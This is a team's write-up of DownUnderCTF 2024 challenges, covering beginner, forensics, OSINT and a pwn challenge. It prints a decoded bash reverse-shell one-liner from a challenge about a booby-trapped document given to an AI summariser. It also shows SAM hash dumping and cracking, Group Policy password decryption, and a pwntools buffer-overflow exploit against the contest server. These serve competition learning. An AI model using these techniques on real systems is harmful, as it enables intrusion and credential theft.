DownUnderCTF
Well, now and then, we come across a big CTF like this. Starting out late, let’s see how it goes.
Authors: AbuCTF, MrRobot, SHL, MrGhost, PattuSai, RohmatOkay, but I have to post this LOL.

Beginner
TLDR please summarize
Description:
I thought I was being 1337 by asking AI to help me solve challenges, now I have to reinstall Windows again. Can you help me out by find the flag in this document?
Author: Nosurf
Given: EmuWar.Docx
Straight away, I copy the docx file into a zip and extract. Going straight to /word/document.xml ,
cause that contains the actually content of the docx file. Opening in VS Code.

Onto to the pastebin site, we see a base64 string decoding it, we get the flag.
┌──(abu㉿Abuntu)-[/mnt/c/Documents4/CyberSec/DUCTF/begin]
└─$ echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8yNjEuMjYzLjI2My4yNjcvRFVDVEZ7Y2hhdGdwdF9JX24zM2RfMl8zc2NhcDN9IDA+JjE=" | base64 -d
bash -i >& /dev/tcp/261.263.263.267/DUCTF{chatgpt_I_n33d_2_3scap3} 0>&1Flag: DUCTF{chatgpt_I_n33d_2_3scap3}
Shufflebox
Description:
I’ve learned that if you shuffle your text, it’s elrlay hrda to tlle htaw eht nioiglra nutpi aws.
Find the text censored with question marks in output_censored.txt and surround it with DUCTF{}.
Author: hashkitten
Given: shufflebox.py output_censored.txt
The given code in shufflebox.py uses a permutation list (PERM) to shuffle the characters of a 16-character string. The goal is to reverse this permutation process to find the original string that, when shuffled using the same permutation, results in the given output.
Let’s go through the shufflebox.py script step by step to understand its functionality.
shufflebox.py Breakdown
import random
PERM = list(range(16))
random.shuffle(PERM)- Import the random module: This module will be used to generate a random permutation.
- Create a list
PERMwith numbers from 0 to 15: This represents the indices of a 16-character string. - Shuffle the
PERMlist: Therandom.shuffle(PERM)function randomly shuffles the elements in the list. This shuffled list will be used as the permutation to reorder characters in the input string.
def apply_perm(s):
assert len(s) == 16
return ''.join(s[PERM[p]] for p in range(16))- Define the
apply_permfunction: This function takes a 16-character stringsas input. - Assert the length of the string: The function checks if the input string has exactly 16 characters. If not, it raises an assertion error.
- Reorder characters using the permutation: The function returns a new string where each character in the input string
sis placed at the position specified by the shuffled listPERM.
For example, if PERM is [3, 0, 1, 2, 7, 4, 5, 6, 11, 8, 9, 10, 15, 12, 13, 14] and the input string is “abcdefghijklmnop”:
- The character at index
0in the input string moves to index3in the output string. - The character at index
1in the input string moves to index0in the output string. - This continues for all 16 characters.
for line in open(0):
line = line.strip()
print(line, '->', apply_perm(line))- Read input lines: The script reads lines from the standard input (file descriptor 0). Each line is expected to be a 16-character string.
- Strip any extra whitespace: The script removes leading and trailing whitespace from each line.
- Apply the permutation and print the result: The script applies the
apply_permfunction to the line and prints the original line followed by the permuted line.
Example Execution
Let’s walk through an example:
Assume PERM after shuffling is [2, 3, 0, 1, 6, 7, 4, 5, 10, 11, 8, 9, 14, 15, 12, 13].
If the input line is “abcdefghijklmnop”:
- The input string “abcdefghijklmnop” will be transformed using the permutation
[2, 3, 0, 1, 6, 7, 4, 5, 10, 11, 8, 9, 14, 15, 12, 13]. - The resulting permuted string will be “cdabghiefjklmnop”.
You’d have to be absolutely mental, if you tried to brute-force this.

random.shuffle(x)
To shuffle an immutable sequence and return a new shuffled list, use sample(x, k=len(x)) instead.
Note that even for small len(x), the total number of permutations of x can quickly grow larger than the period of most random number generators. This implies that most permutations of a long sequence can never be generated. For example, a sequence of length 2080 is the largest that can fit within the period of the Mersenne Twister random number generator.
At this point, I’ve tried my best. Tried looking at similar past write-ups, even looking at random.shuffle module source code. Well, let’s now wait for the write-ups.
My big-brain teammate @PattuSai solved this in no time. I’m gonna cry.
aaaabbbbccccdddd -> ccaccdabdbdbbada
abcdabcdabcdabcd -> bcaadbdcdbcdacab
???????????????? -> owuwspdgrtejiiudJust compare the 2 output sequences, and search for the same pair sequence in input. For example, in the first pair of input is [a , a]. Now, we search for the the same sequence in the output sequence, we find [a, a] is in the 2nd index. Find out the character 2nd index of the cipher and place it in the 0th index. Pattern follows.
Flag: DUCTF{udiditgjwowsuper}
BTW, I came across this portfolio. Absolutely blew me away !
Miscellaneous
Discord
Description:
The evil bug has torn one of our flags into pieces and hidden it in our Discord server - https://duc.tf/discord. Can you find all the pieces for us? Form an alliance at #team-search to coordinate and expedite your search efforts. Make sure to opt in at #opt-in-updates channel to stay updated on new hints and challenges being released. Join us on the journey to defeat the evil bug!
Author: DUCTF
First part of the flag can be found it the #team-search channel.

And the second is in #opt-in-updates

Flag: DUCTF{f1r57_0f_m4ny}
Forensics
Baby’s First Forensics
Description:
They’ve been trying to breach our infrastructure all morning! They’re trying to get more info on our covert kangaroos! We need your help, we’ve captured some traffic of them attacking us, can you tell us what tool they were using and its version?
NOTE: Wrap your answer in the DUCTF{}, e.g. DUCTF{nmap_7.25}
Author: Pix
Given: capture.pcap
Since, we were to find just the tool the attacker is using, I just used strings on it to find the tool.
┌──(abu㉿Abuntu)-[/mnt/c/Documents4/CyberSec/DUCTF/forensics]
└─$ strings capture.pcap | more
in-addr
arpa
in-addr
arpa
root-servers
nstld
verisign-grs
HEAD / HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:Port Check)
Host: 172.16.17.135Flag: DUCTF{Nikto_2.1.6}
SAM I AM
Description:
The attacker managed to gain Domain Admin on our rebels Domain Controller! Looks like they managed to log on with an account using WMI and dumped some files.
Can you reproduce how they got the Administrator’s Password with the artifacts provided?
Place the Administrator Account’s Password in DUCTF{}, e.g. DUCTF{password123!}
Author: TurboPenguin
Given: samiam.zip
Unzipping the file, we get a system.bak and sam.bak
┌──(abu㉿Abuntu)-[/mnt/c/Documents4/CyberSec/DUCTF/forensics]
└─$ unzip samiam.zip
Archive: samiam.zip
inflating: samiam/sam.bak
inflating: samiam/system.bakSince, I had experience with SAM registry files. This time the SYSTEM file was also provided. Went straight to samdump2
┌──(abu㉿Abuntu)-[/mnt/c/Documents4/CyberSec/DUCTF/forensics/samiam]
└─$ samdump2 system.bak sam.bak
Administrator:500:aad3b435b51404eeaad3b435b51404ee:476b4dddbbffde29e739b618580adb1e:::
*disabled* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::Using crackstation, we crack the NTLM hash.

Flag: DUCTF{!checkerboard1}
Bad Policies
Description:
Looks like the attacker managed to access the rebels Domain Controller.
Can you figure out how they got access after pulling these artifacts from one of our Outpost machines?
Author: TurboPenguin
Given: badpolicies.zip
Get familiar with the directories and files. Especially, Group Policy Preferences (GPP) configurations.
One such example is the one at \badpolicies\rebels.ductf\Policies\{B6EF39A3-E84F-4C1D-A032-00F042BE99B5}\Machine\Preferences\Groups\Groups.xml
┌──(abu㉿Abuntu)-[/mnt/c/Documents4/CyberSec/DUCTF/forensics/badpolicies/rebels.ductf/Policies/{B6EF39A3-E84F-4C1D-A032-00F042BE99B5}/Machine/Preferences/Groups]
└─$ cat Groups.xml
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}"
name="Backup" image="2" changed="2024-06-12 14:26:50"
uid="{CE475804-94EA-4C12-8B2E-2B3FFF1A05C4}">
<Properties action="U" newName="" fullName="" description=""
cpassword="B+iL/dnbBHSlVf66R8HOuAiGHAtFOVLZwXu0FYf+jQ6553UUgGNwSZucgdz98klzBuFqKtTpO1bRZIsrF8b4Hu5n6KccA7SBWlbLBWnLXAkPquHFwdC70HXBcRlz38q2"
changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="Backup"/></User>
</Groups>This gives us a GPP Password. Note: The presence of the cpassword attribute indicates an encrypted password. However, it is known that the encryption method used by GPP is weak and reversible, meaning an attacker could potentially decrypt the password if they gained access to this XML file.
Use a tool called gpp-decrypt to decrypt the password.
┌──(abu㉿Abuntu)-[/mnt/c/Documents4/CyberSec/DUCTF/forensics/badpolicies/rebels.ductf/Policies/{B6EF39A3-E84F-4C1D-A032-00F042BE99B5}/Machine/Preferences/Groups]
└─$ gpp-decrypt B+iL/dnbBHSlVf66R8HOuAiGHAtFOVLZwXu0FYf+jQ6553UUgGNwSZucgdz98klzBuFqKtTpO1bRZIsrF8b4Hu5n6KccA7SBWlbLBWnLXAkPquHFwdC70HXBcRlz38q2
DUCTF{D0n7_Us3_P4s5w0rds_1n_Gr0up_P0l1cy}Flag: DUCTF{D0n7_Us3_P4s5w0rds_1n_Gr0up_P0l1cy}
OSINT
offtheramp
Description:
That looks like a pretty cool place to escape by boat, EXAMINE the image and discover the name of this structure.
NOTE: Flag is case-insensitive and requires placing inside DUCTF{}! e.g DUCTF{name_of_structure}
Author: Anon
Given: offtheramp.jpg

Been using an AI called picarta , to help narrow down photos for OSINT.

Now, this gave me a straight hit. Damn.

Flag: DUCTF{olivers_hill_boat_ramp}
cityviews
Description:
After having to go on the run, I’ve had to bunker down. Which building did I capture this picture from?
NOTE: Flag is case-insensitive and requires placing inside DUCTF{}! e.g DUCTF{building_name}
Author: Anon
Given: cityviews.jpg
Turns out, we still in Melbourne.

First, I found the source, by playing around with google lens.

Found this image, and then narrowed down.
Flag: DUCTF{hotel_indigo}
Bridget Lives
Description:
After dropping numerous 0days last year Bridget has flown the coop. This is the last picture she posted before going dark. Where was this photo taken from?
NOTE: Flag is case-insensitive and requires placing inside DUCTF{}! e.g. DUCTF{name_of_building}
Author: a_metre
Given: bridget.png

After a simple google, we land on Singapore. We find the bridge pretty easily.

Flag: DUCTF{four_points}
marketing
Description: We have the best marketing team!
Except for that one monke that looks like they slapped something together…
Maybe the bot should lock away that monke to stopping posting stuff online. The other animals should be free, just not the monke.
Author: ghostccamm
Typical OSINT type stuff, go straight to the Discord server for clues. Found em!

With that, we find the username ghostccamm. Turns out he uses Twitter with the same username.

Look closely.
Flag: DUCTF{doing_a_bit_of_marketing}
Wait, I found this flag is actually for the marketing challenge LOL. I’ll just edit the title then.
back to the jungle
Description:
Did MC Fat Monke just drop a new track????? 👀👀👀
Author: ghostccamm
Just google MC Fat Monke.

Watch the video with eyes open. @2:34, we see a link.
average-primate-th.wixsite.com/mc-fat-monke-appreci
Flag: DUCTF{wIr_G0iNg_b4K_t00_d3r_jUNgL3_mIt_d15_1!!111!}

Pwn
vector overflow
Description:
Please overflow into the vector and control it!
Author: joseph
nc 2024.ductf.dev 30013Given: vector_overflow vector_overflow.cpp
As pwn’s ultimate noob, I’m hyped nervous af right now.

┌──(abu㉿Abuntu)-[/mnt/c/Documents4/CyberSec/DUCTF/pwn]
└─$ file vector_overflow
vector_overflow: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
BuildID[sha1]=4a0b824c662ee47b5cd3e73176c0092f1fcf714b,
for GNU/Linux 3.2.0, not strippedLet’s understand, what all this means.
- ELF 64-bit LSB executable, x86-64: This indicates that the file is an Executable and Linkable Format (ELF) file, which is a standard file format for executables, object code, shared libraries, and core dumps in Unix-like operating systems. “64-bit” specifies that it is a 64-bit executable, and “LSB” (Least Significant Byte first) indicates the byte order (also known as little-endian). “x86-64” specifies the architecture, meaning it is designed for 64-bit Intel and AMD processors.
- version 1 (SYSV): This refers to the ELF version and the System V ABI (Application Binary Interface) standard, which is a specification that defines a binary interface for application programs on UNIX systems.
- dynamically linked: This indicates that the executable is dynamically linked, meaning it relies on shared libraries (e.g., libc.so) that are loaded into memory at runtime rather than being statically linked (included in the executable itself).
- interpreter /lib64/ld-linux-x86-64.so.2: This specifies the dynamic linker/loader that will be used to load the shared libraries required by the executable. The specified interpreter is
/lib64/ld-linux-x86-64.so.2, which is the standard dynamic linker for 64-bit Linux systems. - BuildID[sha1]=4a0b824c662ee47b5cd3e73176c0092f1fcf714b: This is a unique identifier for the binary, generated using the SHA-1 hashing algorithm. It can be used for debugging purposes or to verify the integrity of the executable.
- for GNU/Linux 3.2.0: This indicates the minimum version of the Linux kernel that is required to run the executable. In this case, the executable requires at least version 3.2.0 of the Linux kernel.
- not stripped: This means that the debugging symbols have not been removed from the executable. Debugging symbols provide additional information that can be useful for debugging the program, such as function names, variable names, and line numbers.
In summary, vector_overflow is a 64-bit ELF executable for the x86-64 architecture, dynamically linked with shared libraries, designed to run on Linux kernel version 3.2.0 or higher, and contains debugging symbols.
┌──(abu㉿Abuntu)-[/mnt/c/Documents4/CyberSec/DUCTF/pwn]
└─$ checksec --file=vector_overflow
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 121 Symbols No 0 1 vector_overflowSource: Sven Vermeulen @ 15 July 2011

It even comes with pretty colors (the “No RELRO” is red whereas “Full RELRO” is green). But beyond interpreting those colors (which should be obvious for the non-colorblind), what does that all mean? Well, let me try to explain them in one-paragraph entries (yes, I like such challenges ;-) Note that, if a protection is not found, then it probably means that the application was not built with this protection.
RELRO stands for Relocation Read-Only, meaning that the headers in your binary, which need to be writable during startup of the application (to allow the dynamic linker to load and link stuff like shared libraries) are marked as read-only when the linker is done doing its magic (but before the application itself is launched). The difference between Partial RELRO and Full RELRO is that the Global Offset Table (and Procedure Linkage Table) which act as kind-of process-specific lookup tables for symbols (names that need to point to locations elsewhere in the application or even in loaded shared libraries) are marked read-only too in the Full RELRO. Downside of this is that lazy binding (only resolving those symbols the first time you hit them, making applications start a bit faster) is not possible anymore.
A Canary is a certain value put on the stack (memory where function local variables are also stored) and validated before that function is left again. Leaving a function means that the “previous” address (i.e. the location in the application right before the function was called) is retrieved from this stack and jumped to (well, the part right after that address - we do not want an endless loop do we?). If the canary value is not correct, then the stack might have been overwritten / corrupted (for instance by writing more stuff in the local variable than allowed - called buffer overflow) so the application is immediately stopped.
The abbreviation NX stands for non-execute or non-executable segment. It means that the application, when loaded in memory, does not allow any of its segments to be both writable and executable. The idea here is that writable memory should never be executed (as it can be manipulated) and vice versa. Having NX enabled would be good.
The last abbreviation is PIE, meaning Position Independent Executable. A No PIE application tells the loader which virtual address it should use (and keeps its memory layout quite static). Hence, attacks against this application know up-front how the virtual memory for this application is (partially) organized. Combined with in-kernel ASLR (Address Space Layout Randomization, which Gentoo’s hardened-sources of course support) PIE applications have a more diverge memory organization, making attacks that rely on the memory structure more difficult.
RPATH:- No RPATH: The RPATH is a hard-coded path in the executable that tells the dynamic linker where to look for shared libraries. The absence of RPATH indicates that no such path is hard-coded in the binary.
RUNPATH:- No RUNPATH: Similar to RPATH, RUNPATH is another hard-coded path in the executable for shared libraries. The absence of RUNPATH indicates that no such path is hard-coded in the binary.
Symbols:- 121 Symbols: This indicates that the executable contains 121 symbols, which could include function names, variable names, etc. These symbols can be useful for debugging and analysis.
Again, what is FORTIFY_SOURCE? Well, when using FORTIFY_SOURCE, the compiler will try to intelligently read the code it is compiling / building. When it sees a C-library function call against a variable whose size it can deduce (like a fixed-size array - it is more intelligent than this btw) it will replace the call with a FORTIFY‘ed function call, passing on the maximum size for the variable. If this special function call notices that the variable is being overwritten beyond its boundaries, it forces the application to quit immediately. Note that not all function calls that can be fortified are fortified as that depends on the intelligence of the compiler (and if it is realistic to get the maximum size).
Well, enough theory. Running the checksec command again, we see something different. I mean I ran the command on the same machine this morning. Have a look.
┌──(abu㉿Abuntu)-[/mnt/c/Documents4/CyberSec/DUCTF/pwn]
└─$ checksec --file=vector_overflow
[*] '/mnt/c/Documents4/CyberSec/DUCTF/pwn/vector_overflow'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)Anyways, let’s not use Ghidra for now. Into GDB we go.
┌──(abu㉿Abuntu)-[/mnt/c/Documents4/CyberSec/DUCTF/pwn]
└─$ gdb ./vector_overflow
GNU gdb (Debian 13.2-1+b1) 13.2
Copyright (C) 2023 Free Software Foundation, Inc.First thing I did,
(gdb) info functions
Which reveals these guys.

Wait. I already have the source. Why am I disassembling !
Let’s understand this shall we.
Explanation of the Code
Global Variables:
char buf[16]; std::vector<char> v = {'X', 'X', 'X', 'X', 'X'};bufis a global character array with a size of 16.vis a global vector of characters initialized with five ‘X’ characters.
Functions:
lose():void lose() { puts("Bye!"); exit(1); }- This function prints “Bye!” and then exits the program with a status code of 1.
win():void win() { system("/bin/sh"); exit(0); }- This function executes a shell (
/bin/sh) using thesystemfunction and then exits the program with a status code of 0.
- This function executes a shell (
Main Function:
int main() { char ductf[6] = "DUCTF"; char* d = ductf; std::cin >> buf; if(v.size() == 5) { for(auto &c : v) { if(c != *d++) { lose(); } } win(); } lose(); }ductfis a local character array initialized with the string “DUCTF”.dis a pointer to the beginning ofductf.std::cin >> buf;:- This line reads input from the user and stores it in
buf. Note thatbufcan hold up to 15 characters plus a null terminator.
- This line reads input from the user and stores it in
if(v.size() == 5):- This checks if the size of the vector
vis 5, which it always is because it’s initialized with five ‘X’ characters.
- This checks if the size of the vector
for(auto &c : v):- This loop iterates over each character
cin the vectorv. if(c != *d++):- This checks if the current character
cin the vector is not equal to the current character pointed to byd, and then increments the pointerd. - If any character in the vector
vis not equal to the corresponding character inductf, thelose()function is called, terminating the program.
- This checks if the current character
- This loop iterates over each character
- If all characters in the vector
vmatch the characters inductf, thewin()function is called, which opens a shell and then exits the program. - If the size of the vector
vis not 5, the program calls thelose()function and terminates.

Just as a remainder. Probably to myself,
Position Independent Executable (PIE):
- PIE is a security feature that allows executables to be loaded at random memory addresses each time they are executed. This is a part of
Address Space Layout Randomization (ASLR). - When a binary is compiled as a PIE, it can be loaded at any address in memory, which makes it more difficult for an attacker to predict the locations of specific functions or variables.
You get the point right, basically goal of the buffer overflow exploit would be to overwrite the contents of the vector v with “DUCTF” to bypass the checks and execute the win() function.
But simply doing things like AAAAAAAAAAAAAAADUCTF won’t work. To successfully exploit the buffer overflow and call the win function in the provided program, you need to find the memory addresses of the functions and calculate the correct offsets. Now, let’s continue with GDB.

Since, we already know the size of the buffer, we move on to finding the memory address of the buffer , which is 0x4051e0 . Well the, now comes the most important part, scripting the exploit and sending it to the server.
This is done through Pwntools. It’s so useful so many things. Check it out at.
from pwn import *
# p = process('./vector_overflow')
p = remote('2024.ductf.dev', 30013)
p.sendline(b'DUCTF' + b'A' * 11 + p64(0x4051e0) + p64(0x4051e5))
p.interactive()Flag: DUCTF{y0u_pwn3d_th4t_vect0r!!}
This is how I felt after the challenge.

References
High level explanation on some binary executable security
DownUnderCTF 2024 Write-Up · Ouuan’s blog
Identify security properties on Linux using checksec
GDB Command Reference - Index page
